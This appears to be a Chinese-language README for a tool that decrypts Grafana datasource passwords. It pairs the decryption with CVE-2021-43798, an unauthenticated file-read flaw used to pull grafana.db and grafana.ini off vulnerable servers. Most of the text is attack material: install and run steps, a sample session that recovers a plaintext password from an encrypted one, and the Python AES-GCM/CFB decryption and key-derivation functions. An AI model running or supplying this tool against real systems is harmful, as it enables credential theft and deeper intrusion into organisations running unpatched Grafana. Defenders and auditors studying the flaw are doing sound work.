该脚本用于解密受 CVE-2021-43798 影响的 Grafana 实例中的数据源密码,该漏洞允许未经授权的任意文件读取。
Grafana 8.0.0-beta1 至 8.3.0 版本存在目录遍历漏洞,允许未经授权的用户读取服务器上的任意文件。本脚本利用该漏洞解密 grafana.db 文件中存储的数据源密码,所用密钥为 grafana.ini 配置文件中的 secret_key。
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db 和 grafana.ini 文件。python decrypt.py
你也可以通过取消脚本中示例代码的注释,使用脚本对明文密码进行编码。
脚本通过分析载荷来确定所使用的加密算法。默认加密算法为 aes-cfb。
利用推导出的加密算法和 grafana.ini 中的 secret_key,脚本解密数据源密码。
脚本还包含使用相同加密方法和 secret_key 对明文密码进行加密的功能。
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
这些函数处理解密和加密过程。
欢迎提出 issue 或 pull request,反馈任何 bug 或改进建议。
本项目基于 MIT 许可证。详见 LICENSE 文件。